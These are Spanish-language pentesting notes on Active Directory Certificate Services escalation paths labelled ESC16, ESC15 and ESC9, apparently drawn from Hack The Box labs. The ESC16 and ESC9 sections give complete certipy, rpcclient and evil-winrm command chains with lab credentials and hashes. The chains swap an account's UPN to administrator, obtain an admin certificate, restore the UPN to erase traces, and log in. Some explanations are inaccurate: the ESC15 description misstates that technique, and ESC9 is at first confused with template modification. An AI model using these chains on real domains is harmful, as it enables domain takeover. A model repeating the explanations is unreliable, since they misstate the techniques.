AD Certificate Services
| Componente | Qué es |
|---|---|
| ADCS | Infraestructura de certificados en Active Directory |
| CA | Servidor que emite y gestiona certificados |
| Plantilla | Configuración predefinida para emitir certificados |
| Certificado | Documento digital que verifica identidad |
🧨 ¿Qué es ESC16?
ESC16 es una vulnerabilidad en entornos con ADCS que permite a un atacante obtener un certificado válido para otra cuenta (por ejemplo, un administrador) modificando el atributo userPrincipalName (UPN) de su propia cuenta.
🛠️ ¿Cómo funciona ESC16?
🔐 El truco clave:
La CA no valida que el UPN del certificado coincida con el verdadero dueño de la cuenta.
🚨 Esto permite que:
Si un atacante puede cambiar su UPN al de un administrador, puede obtener un certificado válido que representa a ese administrador.
📌 Requisitos para explotar ESC16
-
🔧 Permiso para modificar el atributo
userPrincipalNamede su propia cuenta (o de otra que controle)
(Normalmente permitido en muchos entornos) -
🏛️ Una CA vulnerable, donde:
-
No se exige una firma en la solicitud de certificado.
-
No se validan los campos como el UPN correctamente.
-
Plantillas como
Userpermiten autenticación (Client Authentication) y no requieren aprobación.
-
-
🧾 Plantilla vulnerable (como
User), que:-
No requiere firma de solicitud.
-
Usa el UPN del solicitante para generar el certificado.
-
🧬 Paso a paso del ataque ESC16
| Paso | Acción | Resultado |
|---|---|---|
| 1️⃣ | El atacante cambia el UPN de su cuenta a administrator@dominio.local |
El UPN ya no es el suyo, es el del administrador |
| 2️⃣ | Solicita un certificado usando la plantilla User |
La CA genera un certificado para el administrador |
| 3️⃣ | El atacante usa ese certificado para autenticarse como el administrador | Acceso completo al dominio |
| 4️⃣ | Restaura el UPN original de su cuenta (limpieza de huellas) | Todo parece normal |
Para saber el nombre de la CA :
certipy find -u cert_admin -p 'PASS' -dc-ip 10.10.11.72
Buscamos vulnerabilidades:
certipy-ad find -vulnerable -u USUARIO_CONTROLADO -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip IPDC
Sacamos el UPN original de la cuenta (para luego restaurarlo)
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read
Actualizamos el UPN a administrador para solicitarlo como él
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
Guardamos autenticación por kerberos
certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto
export KRB5CCNAME=ca_svc.ccache
Solicitamos certificado para la plantilla de autenticación usuario
certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'
Restauramos UPN al de la cuenta original
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
Nos autenticamos como el admin, con nuestro certificado
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
Nos conectamos con evilwin-rm
🧨 ¿Qué es ESC15?
ESC15 es una vulnerabilidad en entornos con Active Directory Certificate Services (ADCS) que permite a un atacante autenticarse como cualquier usuario, incluso un administrador, usando un certificado que no le pertenece.
🛠️ ¿Cómo funciona ESC15?
🔐 El truco clave:
La CA no valida que el certificado presentado al autenticarse (por ejemplo, mediante PKINIT o SChannel) coincida con el usuario que lo está usando.
🚨 Esto permite que:
Un atacante con cualquier certificado válido puede especificar el nombre de otro usuario (por ejemplo,
administrator) al autenticarse, y el sistema confiará en esa identidad.
📌 Requisitos para explotar ESC15
-
✅ Tener un certificado válido (por ejemplo, uno obtenido por ESC1, ESC6, ESC13, ESC16...).
-
🧾 Ese certificado debe incluir campos que permitan la autenticación (como
UPN,SANoSubject) compatibles con el usuario suplantado. -
🔄 Usar ese certificado en un protocolo que no valide correctamente la identidad del solicitante, como:
-
Kerberos (PKINIT)
-
LDAP con TLS/SSL
-
RDP usando SChannel
-
🧬 Paso a paso del ataque ESC15
| Paso | Acción | Resultado |
|---|---|---|
| 1️⃣ | El atacante obtiene un certificado válido (por cualquier medio) | Tiene una identidad digital funcional |
| 2️⃣ | Usa el certificado para autenticarse como administrator@dominio.local mediante PKINIT o RDP |
El servidor acepta la identidad falsa sin verificarla |
| 3️⃣ | Obtiene un TGT como el administrador o accede a servicios como si fuera él | Acceso completo al dominio |
| 4️⃣ | No necesita modificar ningún objeto en AD | El ataque puede ser silencioso |
🧨 ¿Qué es ESC9?
ESC9 es una vulnerabilidad de abuso de permisos en entornos con Active Directory Certificate Services (ADCS) que permite a un atacante con permisos de **GenericWrite o GenericAll sobre una plantilla de certificado modificarla para obtener certificados privilegiados.
🛠️ ¿Cómo funciona ESC9?
🔐 El truco clave:
Si un atacante puede modificar la configuración de una plantilla de certificado, puede cambiar sus opciones para emitir certificados que le permitan autenticarse como cualquier usuario.
📌 Requisitos para explotar ESC9
-
🔧 Permiso de
GenericWriteoGenericAllsobre una plantilla de certificado
(Puede ocurrir por delegaciones mal configuradas o permisos heredados) -
🏛️ Una CA activa que use esa plantilla para emitir certificados sin revisión manual.
-
⚙️ Plantilla que permita ser modificada, donde se puedan cambiar atributos clave como:
-
ENROLLEE_SUPPLIES_SUBJECT(permitir que el solicitante establezca elSubjectoSAN). -
Client Authenticationhabilitado (EKU). -
Autorización para usuarios autenticados (
Authenticated Users).
-
🧬 Paso a paso del ataque ESC9
| Paso | Acción | Resultado |
|---|---|---|
| 1️⃣ | El atacante modifica la plantilla de certificado vulnerable | Cambia opciones como ENROLLEE_SUPPLIES_SUBJECT a TRUE |
| 2️⃣ | Solicita un certificado usando la plantilla, indicando un SAN falso |
Por ejemplo: administrator@dominio.local |
| 3️⃣ | La CA emite un certificado válido con la identidad falsificada | El certificado permite autenticarse como esa cuenta privilegiada |
| 4️⃣ | El atacante usa el certificado para autenticarse por Kerberos o LDAP | Gana acceso con los privilegios del usuario suplantado |
| 5️⃣ | Restaura la plantilla a su configuración original (opcional) | Oculta rastros de la manipulación |
Cuando se cumplen las condiciones para ESC9 podemos cambiar el SPN de un usuario al del Administrador de dominio y a continuación solicitar un certificado para él
Condiciones
- GenericWrite/All sobre un usuario
- Plantilla vulnerable a ESC9 (tiene no security extension.)
Buscamos plantillas vulnerables
certipy-ad find -vulnerable -u 'CA_OPERATOR' -p 'TYx4huMwMr$zbzabeGJS' -dc-ip 10.10.11.41
Buscamos un usuario sobre el que tengamos GenericAll o GenericWrite , sacamos su NTHASH o cambiamos su pass :
rpcclient -U 'MANAGEMENT_SVC%a091c1832bcdd4677c28b5a6a1295584' 10.10.11.41 --pw-nt-hash
setuserinfo2 CA_OPERATOR 23 'TYx4huMwMr$zbzabeGJS'
Modificamos el UPN de la cuenta víctima por el del Administrator
certipy account update -u 'MANAGEMENT_SVC' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn administrator@certified.htb -dc-ip 10.10.11.41
Solicitamos un certificado como el usuario víctima, con sus credenciales
certipy req -u 'ca_operator@certified.htb' -p 'TYx4huMwMr$zbzabeGJS' -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41
Lo dejamos como estaba
certipy account update -u 'MANAGEMENT_SVC' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn ca_operator@certified.htb -dc-ip 10.10.11.41
No autenticamos con ese certificado
certipy auth -dc-ip '10.10.11.41' -pfx 'administrator.pfx' -username 'administrator' -domain 'certified.htb'
evil-winrm -i 10.10.11.41 -u Administrator -H '0d5b49608bbce1751f708748f67e2d34'